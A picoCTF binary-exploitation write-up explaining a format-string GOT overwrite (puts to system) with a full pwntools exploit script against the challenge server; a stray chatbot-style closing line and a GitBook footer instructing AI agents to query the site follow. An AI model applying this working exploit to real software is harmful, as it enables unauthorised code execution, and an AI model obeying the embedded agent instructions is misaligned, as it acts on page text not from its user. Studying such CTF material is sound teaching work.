> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/binary-exploitation/format-string3.md).

# Format String3

The program prints the address of a function called `setvbuf` and then asks for your input. After you give it input, it calls `puts("/bin/sh")`. Our goal is to trick the program into running **`system("/bin/sh")`** instead of **`puts("/bin/sh")`**.

### **The Vulnerability**

The program uses `printf(buf)` where `buf` is our input. This is a **Format String Vulnerability**. It allows us to:

1. **Read** any memory (Leaking).
2. **Write** to any memory (Overwriting pointers).

### **The Strategy: Hijacking the GOT**

When a program calls a function like `puts`, it doesn't go straight to the code. It looks up the address in a table called the **Global Offset Table (GOT)**.

If we can overwrite the entry for `puts` in that table and replace it with the address of `system`, then every time the program *thinks* it is calling `puts`, it will actually run `system`.

***

### **Step-by-Step Execution**

#### **1. Find the "Secret Sauce" (The Offset)**

We need to know where our input sits on the stack so `printf` knows where to look.

* **Input:** `AAAAAAAA.%p.%p...`
* **Result:** You found `0x4141414141414141` at the **38th** position.
* **Offset:** `38`.

#### **2. Calculate the Target (The Libc Slide)**

The program gives us the address of `setvbuf`. Because of **ASLR**, this address changes, but the distance between `setvbuf` and `system` is always the same in the provided `libc.so.6`.

* **Math:** `system_addr = leaked_setvbuf - 175248`

#### **3. Identify the Target Address (The GOT)**

We need the exact address in the GOT table that holds the pointer for `puts`. Using `objdump` or `gdb`, we find:

* **`puts@got`:** `0x404018`

#### **4. Craft the Payload**

We use **Pwntools** to build a payload that says: *"Go to address `0x404018` (puts in GOT) and write the address of `system` there."*

```python
# The "Magic" line in your script
payload = fmtstr_payload(38, {0x404018: system_addr}, write_size="byte")
```

### **The Result**

1. The program executes `printf(payload)`.
2. The `puts` entry in the GOT is now pointing to `system`.
3. The very next line of code is `puts("/bin/sh")`.
4. **Boom:** The CPU follows the hijacked GOT pointer and runs `system("/bin/sh")`.
5. **Shell access granted.**

#### **Why this worked (The "Simple" Reason)**

* **Partial RELRO:** This is a security setting. "Partial" means the GOT table is **writable**. If it were "Full RELRO," the GOT would be read-only, and this attack wouldn't work.
* **No PIE (on the main binary):** Since the main program isn't randomized, the address `0x404018` is always the same, making it an easy target.

### The python script

It is given in the bottom

#### **1. Environment Setup**

* **`ELF('./format-string-3')`**: This loads the binary into the script so `pwntools` knows the architecture (64-bit) and can find function names automatically.
* **`remote(HOST, PORT)`**: This opens a network connection to the picoCTF server, similar to how you use `nc`.

#### **2. Information Gathering (The Leak)**

* **`s.recvline()`**: The script "listens" to the server. It waits for the line that says: *"Here's the address of setvbuf..."*
* **`int(res[len(res)-13:], 16)`**: This is the most critical part. It grabs the hex address from the end of the string and converts it into a number that Python can do math with.

#### **3. The Calculation (Bypassing ASLR)**

Even though the address of `setvbuf` changes every time the program runs, the **distance** between `setvbuf` and `system` inside the Linux C Library (`libc`) is always the same (**175,248** bytes).

* The script calculates where `system` is hiding in memory for *this specific session*.

#### **4. The Attack (GOT Overwrite)**

* **`puts_got = 0x404018`**: This is the address of the pointer for `puts`.
* **`fmtstr_payload`**: This is a powerful `pwntools` function. You tell it: *"My input starts at offset 38. I want to go to memory address `0x404018` and change whatever is there to the `system_addr` I just calculated."*
* It generates a long, complex string (like `%123c%38$n...`) that performs the write.

#### **5. The Result**

* **`s.sendline(payload)`**: The payload is sent, and the `puts` pointer is hijacked.
* **`s.interactive()`**: This hands the controls back to **you**. If the exploit worked, you can now type commands like `ls` or `cat flag.txt` directly into your terminal.

```python
from pwn import *

# 1. Setup - Tell pwntools which binary we are attacking
context.binary = ELF('./format-string-3')

# 2. Connection - Set your current server details
HOST = 'rhea.picoctf.net'
PORT = 61521
io = remote(HOST, PORT)

# 3. Receive the Leak
io.recvuntil("libc: ")             # Wait until the prompt shows the address
leak = io.recvline().strip()       # Grab the hex address
setvbuf_addr = int(leak, 16)       # Convert hex string to integer
print(f"[+] Leaked setvbuf: {hex(setvbuf_addr)}")

# 4. Math - Calculate where 'system' is
# Offset is fixed for the provided libc version
system_addr = setvbuf_addr - 175248
puts_got = 0x404018
print(f"[+] Target system() address: {hex(system_addr)}")

# 5. Build Payload - Target the GOT entry of puts
# Offset 38 was found via manual testing (%p.%p...)
payload = fmtstr_payload(38, {puts_got: system_addr})

# 6. Execute and Profit
io.sendline(payload)
print("[+] Payload sent! Switching to interactive mode...")
io.interactive()
```

This script is a great addition to your offensive security toolkit. Since you're using **Fedora**, do you usually run these scripts in a dedicated virtual environment, or are you installing your hacking tools directly on the system?


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/binary-exploitation/format-string3.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
